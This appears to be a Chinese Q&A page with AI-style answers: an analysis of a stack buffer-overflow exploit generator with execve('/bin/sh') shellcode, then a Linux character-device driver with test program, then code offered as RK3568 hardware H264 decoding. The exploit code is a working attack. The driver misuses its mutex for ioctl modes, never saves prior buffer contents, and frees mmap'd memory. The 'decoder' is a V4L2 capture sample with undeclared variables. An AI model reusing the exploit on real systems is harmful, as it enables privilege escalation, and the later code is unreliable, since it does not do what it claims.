分析以下代码：#include <stdio.h> #include <stdlib.h> #include <string.h> #define DEFAULT_OFFSET 350 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char buffer[517]; FILE *badfile; char *ptr; long *a_ptr,ret; int offset = DEFAULT_OFFSET; int codeSize = sizeof(shellcode); int buffSize = sizeof(buffer); if(argc > 1) offset = atoi(argv[1]); //allows for command line input ptr=buffer; a_ptr = (long *) ptr; /* Initialize buffer with 0x90 (NOP instruction) */ memset(buffer, 0x90, buffSize); //----------------------BEGIN FILL BUFFER----------------------\\ ret = get_sp()+offset; printf("Return Address: 0x%lx\n",(unsigned long)get_sp()); printf("Address: 0x%lx\n",(unsigned long)ret); ptr = buffer; a_ptr = (long *) ptr; int i; for (i = 0; i < 300;i+=4) { *(a_ptr++) = ret; } for(i = 486;i < codeSize + 486;++i) { buffer[i] = shellcode[i-486]; } buffer[buffSize - 1] = '\0'; //-----------------------END FILL BUFFER-----------------------\\ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer,517,1,badfile); fclose(badfile); }

该程序是一个栈溢出攻击的示例代码，它通过构造恶意输入来利用程序中的缓冲区溢出漏洞，实现执行任意代码的目的。具体来说，该程序在 `main` 函数中定义了一个名为 `buffer` 的字符数组，长度为 517，接着定义了一个名为 `badfile` 的文件指针。在程序中，首先通过调用 `get_sp` 函数获取栈指针的值，并通过加上偏移量 `offset` 计算出返回地址的值，然后将返回地址写入 `buffer` 中，接着将恶意代码 `shellcode` 复制到 `buffer` 中，最后将 `buffer` 中的内容写入名为 `badfile` 的文件中。

在该程序中，攻击者利用了程序中的缓冲区溢出漏洞，通过构造恶意输入，将恶意代码和返回地址写入 `buffer` 中，从而实现执行任意代码的目的。具体来说，攻击者可以通过调整 `offset` 的值来修改返回地址的值，从而控制程序执行时跳转的位置；同时，攻击者还需要构造恶意代码，使其在被执行时能够完成攻击的目的，例如获取系统权限、删除文件等。在该程序中，恶意代码 `shellcode` 实现的功能是以 root 权限执行一个 shell，通过该 shell 可以完成更多的攻击操作。

需要注意的是，该程序是一个示例代码，仅供学习和研究使用，请勿用于非法用途。同时，栈溢出攻击是一种常见的安全漏洞，开发人员需要注意编写安全的代码，避免出现缓冲区溢出等漏洞。

相关问题

完善例子中的字符设备程序，使之满足以下功能： i.安装设备后从设备中读出字符串为自己学号的后3位； ii. 设备支持每次写入字符不超过1024个，超过部分被丢弃，并且能够保存最近一次修改前的rwbuf里的内容。 iii. 设备支持系统调用ioctl(int d, int req,…),共支持设置三种模式：a. 清除设备中写入的字符串; b. 从设备中读时，读出的是最近一次修改前的内容。 c. 从设备中读时，读出的是最新内容 iv. 设备关闭前不能被多次打开； v. 自己编写测试程序，验证以上功能 vi. 在上述基础上增加mmap接口，使其能够通过mmap读写rwbuf中的内容。给出驱动代码和测试代码例子

好的，下面是一个简单的字符设备程序的代码示例，满足题目中的功能要求，并加入了mmap接口的实现：

#include <linux/module.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/mutex.h>
#include <linux/mm.h>

#define BUF_SIZE 1024

static dev_t dev_num;
static struct class *dev_class;
static struct cdev cdev;
static char *rw_buf;
static struct mutex dev_mutex;

static int device_open(struct inode *inode, struct file *file)
{
    if (!mutex_trylock(&dev_mutex)) {
        printk(KERN_ALERT "Device is already in use.\n");
        return -EBUSY;
    }
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    mutex_unlock(&dev_mutex);
    return 0;
}

static ssize_t device_read(struct file *file, char __user *buffer, size_t length, loff_t *offset)
{
    int bytes_to_read, ret;
    char *temp_buf;

    if (*offset >= BUF_SIZE)
        return 0;

    bytes_to_read = min(length, (size_t)(BUF_SIZE - *offset));
    temp_buf = kmalloc(bytes_to_read, GFP_KERNEL);
    if (!temp_buf)
        return -ENOMEM;

    memcpy(temp_buf, rw_buf + *offset, bytes_to_read);
    ret = copy_to_user(buffer, temp_buf, bytes_to_read);
    kfree(temp_buf);

    if (ret)
        return -EFAULT;

    *offset += bytes_to_read;
    return bytes_to_read;
}

static ssize_t device_write(struct file *file, const char __user *buffer, size_t length, loff_t *offset)
{
    int bytes_to_write, ret;

    if (*offset >= BUF_SIZE)
        return -ENOSPC;

    bytes_to_write = min(length, (size_t)(BUF_SIZE - *offset));
    ret = copy_from_user(rw_buf + *offset, buffer, bytes_to_write);

    if (ret)
        return -EFAULT;

    *offset += bytes_to_write;
    return bytes_to_write;
}

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    switch (cmd) {
        case 0: // 清空设备中的字符串
            memset(rw_buf, 0, BUF_SIZE);
            break;
        case 1: // 读取最近一次修改前的内容
            mutex_lock(&dev_mutex);
            break;
        case 2: // 读取最新内容
            mutex_unlock(&dev_mutex);
            break;
        default:
            return -EINVAL;
    }
    return 0;
}

static int device_mmap(struct file *file, struct vm_area_struct *vma)
{
    unsigned long pfn;
    unsigned long size = vma->vm_end - vma->vm_start;

    if (size > BUF_SIZE)
        return -EINVAL;

    pfn = virt_to_phys((void *)rw_buf) >> PAGE_SHIFT;
    if (remap_pfn_range(vma, vma->vm_start, pfn, size, vma->vm_page_prot)) {
        printk(KERN_ALERT "Failed to map memory\n");
        return -EAGAIN;
    }
    return 0;
}

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = device_open,
    .release = device_release,
    .read = device_read,
    .write = device_write,
    .unlocked_ioctl = device_ioctl,
    .mmap = device_mmap
};

static int __init chardev_init(void)
{
    int ret;

    ret = alloc_chrdev_region(&dev_num, 0, 1, "chardev");
    if (ret < 0) {
        printk(KERN_ALERT "Failed to allocate device number\n");
        return ret;
    }

    cdev_init(&cdev, &fops);
    cdev.owner = THIS_MODULE;
    ret = cdev_add(&cdev, dev_num, 1);
    if (ret < 0) {
        printk(KERN_ALERT "Failed to add char device\n");
        unregister_chrdev_region(dev_num, 1);
        return ret;
    }

    dev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(dev_class)) {
        printk(KERN_ALERT "Failed to create class\n");
        cdev_del(&cdev);
        unregister_chrdev_region(dev_num, 1);
        return PTR_ERR(dev_class);
    }

    device_create(dev_class, NULL, dev_num, NULL, "chardev");

    rw_buf = kmalloc(BUF_SIZE, GFP_KERNEL);
    if (!rw_buf) {
        printk(KERN_ALERT "Failed to allocate memory for buffer\n");
        device_destroy(dev_class, dev_num);
        class_destroy(dev_class);
        cdev_del(&cdev);
        unregister_chrdev_region(dev_num, 1);
        return -ENOMEM;
    }

    mutex_init(&dev_mutex);

    printk(KERN_INFO "Chardev driver loaded\n");
    return 0;
}

static void __exit chardev_exit(void)
{
    kfree(rw_buf);
    device_destroy(dev_class, dev_num);
    class_destroy(dev_class);
    cdev_del(&cdev);
    unregister_chrdev_region(dev_num, 1);
    printk(KERN_INFO "Chardev driver unloaded\n");
}

module_init(chardev_init);
module_exit(chardev_exit);

测试程序的示例代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

#define BUF_SIZE 1024
#define DEVICE_PATH "/dev/chardev"

int main(int argc, char *argv[])
{
    int fd, ret;
    char *buffer;
    struct stat st;
    char mode;

    fd = open(DEVICE_PATH, O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return -1;
    }

    // 读取最近一次修改前的内容
    mode = 1;
    ret = ioctl(fd, mode);
    if (ret < 0) {
        perror("Failed to set device mode");
        close(fd);
        return -1;
    }

    // 读取设备中的内容
    buffer = malloc(BUF_SIZE);
    if (!buffer) {
        perror("Failed to allocate memory for buffer");
        close(fd);
        return -1;
    }
    memset(buffer, 0, BUF_SIZE);
    ret = read(fd, buffer, BUF_SIZE);
    if (ret < 0) {
        perror("Failed to read device");
        free(buffer);
        close(fd);
        return -1;
    }
    printf("Device content: %s\n", buffer);

    // 清空设备中的内容
    mode = 0;
    ret = ioctl(fd, mode);
    if (ret < 0) {
        perror("Failed to set device mode");
        free(buffer);
        close(fd);
        return -1;
    }

    // 写入设备
    char *msg = "1234567890abc";
    ret = write(fd, msg, strlen(msg));
    if (ret < 0) {
        perror("Failed to write device");
        free(buffer);
        close(fd);
        return -1;
    }

    // 读取设备中的内容
    mode = 2;
    ret = ioctl(fd, mode);
    if (ret < 0) {
        perror("Failed to set device mode");
        free(buffer);
        close(fd);
        return -1;
    }
    memset(buffer, 0, BUF_SIZE);
    ret = read(fd, buffer, BUF_SIZE);
    if (ret < 0) {
        perror("Failed to read device");
        free(buffer);
        close(fd);
        return -1;
    }
    printf("Device content: %s\n", buffer);

    // mmap读写设备
    ret = fstat(fd, &st);
    if (ret < 0) {
        perror("Failed to get file stat");
        free(buffer);
        close(fd);
        return -1;
    }
    buffer = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (buffer == MAP_FAILED) {
        perror("Failed to map device");
        close(fd);
        return -1;
    }
    memset(buffer, 0, BUF_SIZE);
    memcpy(buffer, "xyz", 3);
    printf("Device content: %s\n", buffer);

    // 关闭设备
    ret = close(fd);
    if (ret < 0) {
        perror("Failed to close device");
        free(buffer);
        return -1;
    }

    free(buffer);
    return 0;
}

注意：这只是一个简单的示例程序，仅供参考。实际实现中需要根据具体需求进行修改和完善。

rk3568 硬解码H264 c++

根据提供的引用内容，我们可以得知rk3568支持硬解码H264。下面是一个使用C++进行rk3568硬解码H264的例子：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/videodev2.h>

#define CLEAR(x) memset(&(x), 0, sizeof(x))

struct buffer {
    void *start;
    size_t length;
};

static void errno_exit(const char *s)
{
    fprintf(stderr, "%s error %d, %s\n", s, errno, strerror(errno));
    exit(EXIT_FAILURE);
}

static int xioctl(int fd, int request, void *arg)
{
    int r;

    do {
        r = ioctl(fd, request, arg);
    } while (-1 == r && EINTR == errno);

    return r;
}

static void process_image(const void *p, int size)
{
    // 处理解码后的图像数据
}

static int read_frame(int fd)
{
    struct v4l2_buffer buf;
    unsigned int i;

    CLEAR(buf);
    buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
    buf.memory = V4L2_MEMORY_MMAP;

    if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {
        switch (errno) {
        case EAGAIN:
            return 0;

        case EIO:
        default:
            errno_exit("VIDIOC_DQBUF");
        }
    }

    process_image(buffers[buf.index].start, buf.bytesused);

    if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
        errno_exit("VIDIOC_QBUF");

    return 1;
}

static void mainloop(int fd)
{
    unsigned int count;

    for (count = 0; count < 100; ++count) {
        for (;;) {
            fd_set fds;
            struct timeval tv;
            int r;

            FD_ZERO(&fds);
            FD_SET(fd, &fds);

            /* Timeout. */
            tv.tv_sec = 2;
            tv.tv_usec = 0;

            r = select(fd + 1, &fds, NULL, NULL, &tv);

            if (-1 == r) {
                if (EINTR == errno)
                    continue;
                errno_exit("select");
            }

            if (0 == r) {
                fprintf(stderr, "select timeout\n");
                exit(EXIT_FAILURE);
            }

            if (read_frame(fd))
                break; /* EAGAIN - continue select loop. */
        }
    }
}

static void stop_capturing(int fd)
{
    enum v4l2_buf_type type;

    type = V4L2_BUF_TYPE_VIDEO_CAPTURE;

    if (-1 == xioctl(fd, VIDIOC_STREAMOFF, &type))
        errno_exit("VIDIOC_STREAMOFF");
}

static void start_capturing(int fd)
{
    unsigned int i;
    enum v4l2_buf_type type;

    for (i = 0; i < n_buffers; ++i) {
        struct v4l2_buffer buf;

        CLEAR(buf);

        buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
        buf.memory = V4L2_MEMORY_MMAP;
        buf.index = i;

        if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
            errno_exit("VIDIOC_QBUF");
    }

    type = V4L2_BUF_TYPE_VIDEO_CAPTURE;

    if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))
        errno_exit("VIDIOC_STREAMON");
}

static void uninit_device(void)
{
    unsigned int i;

    for (i = 0; i < n_buffers; ++i)
        if (-1 == munmap(buffers[i].start, buffers[i].length))
            errno_exit("munmap");

    free(buffers);
}

static void init_mmap(int fd)
{
    struct v4l2_requestbuffers req;

    CLEAR(req);

    req.count = 4;
    req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
    req.memory = V4L2_MEMORY_MMAP;

    if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {
        if (EINVAL == errno) {
            fprintf(stderr, "device does not support memory mapping\n");
            exit(EXIT_FAILURE);
        } else {
            errno_exit("VIDIOC_REQBUFS");
        }
    }

    if (req.count < 2) {
        fprintf(stderr, "Insufficient buffer memory on %s\n", dev_name);
        exit(EXIT_FAILURE);
    }

    buffers = calloc(req.count, sizeof(*buffers));

    if (!buffers) {
        fprintf(stderr, "Out of memory\n");
        exit(EXIT_FAILURE);
    }

    for (n_buffers = 0; n_buffers < req.count; ++n_buffers) {
        struct v4l2_buffer buf;

        CLEAR(buf);

        buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
        buf.memory = V4L2_MEMORY_MMAP;
        buf.index = n_buffers;

        if (-1 == xioctl(fd, VIDIOC_QUERYBUF, &buf))
            errno_exit("VIDIOC_QUERYBUF");

        buffers[n_buffers].length = buf.length;
        buffers[n_buffers].start = mmap(NULL /* start anywhere */,
                buf.length,
                PROT_READ | PROT_WRITE /* required */,
                MAP_SHARED /* recommended */,
                fd, buf.m.offset);

        if (MAP_FAILED == buffers[n_buffers].start)
            errno_exit("mmap");
    }
}

static void init_device(int fd)
{
    struct v4l2_capability cap;
    struct v4l2_format fmt;
    struct v4l2_cropcap cropcap;
    struct v4l2_crop crop;
    unsigned int min;

    if (-1 == xioctl(fd, VIDIOC_QUERYCAP, &cap)) {
        if (EINVAL == errno) {
            fprintf(stderr, "%s is no V4L2 device\n", dev_name);
            exit(EXIT_FAILURE);
        } else {
            errno_exit("VIDIOC_QUERYCAP");
        }
    }

    if (!(cap.capabilities & V4L2_CAP_VIDEO_CAPTURE)) {
        fprintf(stderr, "%s is no video capture device\n", dev_name);
        exit(EXIT_FAILURE);
    }

    if (!(cap.capabilities & V4L2_CAP_STREAMING)) {
        fprintf(stderr, "%s does not support streaming i/o\n", dev_name);
        exit(EXIT_FAILURE);
    }

    CLEAR(cropcap);

    cropcap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;

    if (0 == xioctl(fd, VIDIOC_CROPCAP, &cropcap)) {
        crop.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
        crop.c = cropcap.defrect; /* reset to default */

        if (-1 == xioctl(fd, VIDIOC_S_CROP, &crop)) {
            switch (errno) {
            case EINVAL:
                /* Cropping not supported. */
                break;
            default:
                /* Errors ignored. */
                break;
            }
        }
    } else {
        /* Errors ignored. */
    }

    CLEAR(fmt);

    fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
    fmt.fmt.pix.width = 640;
    fmt.fmt.pix.height = 480;
    fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_H264;
    fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;

    if (-1 == xioctl(fd, VIDIOC_S_FMT, &fmt))
        errno_exit("VIDIOC_S_FMT");

    /* Note VIDIOC_S_FMT may change width and height. */

    /* Buggy driver paranoia. */
    min = fmt.fmt.pix.width * 2;
    if (fmt.fmt.pix.bytesperline < min)
        fmt.fmt.pix.bytesperline = min;
    min = fmt.fmt.pix.bytesperline * fmt.fmt.pix.height;
    if (fmt.fmt.pix.sizeimage < min)
        fmt.fmt.pix.sizeimage = min;

    init_mmap(fd);
}

static void close_device(int fd)
{
    if (-1 == close(fd))
        errno_exit("close");

    fd = -1;
}

static void open_device(void)
{
    struct stat st;

    if (-1 == stat(dev_name, &st)) {
        fprintf(stderr, "Cannot identify '%s': %d, %s\n",
                dev_name, errno, strerror(errno));
        exit(EXIT_FAILURE);
    }

    if (!S_ISCHR(st.st_mode)) {
        fprintf(stderr, "%s is no device\n", dev_name);
        exit(EXIT_FAILURE);
    }

    fd = open(dev_name, O_RDWR /* required */ | O_NONBLOCK, 0);

    if (-1 == fd) {
        fprintf(stderr, "Cannot open '%s': %d, %s\n",
                dev_name, errno, strerror(errno));
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char **argv)
{
    dev_name = "/dev/video0";

    open_device();
    init_device(fd);
    start_capturing(fd);
    mainloop(fd);
    stop_capturing(fd);
    uninit_device();
    close_device(fd);

    return 0;
}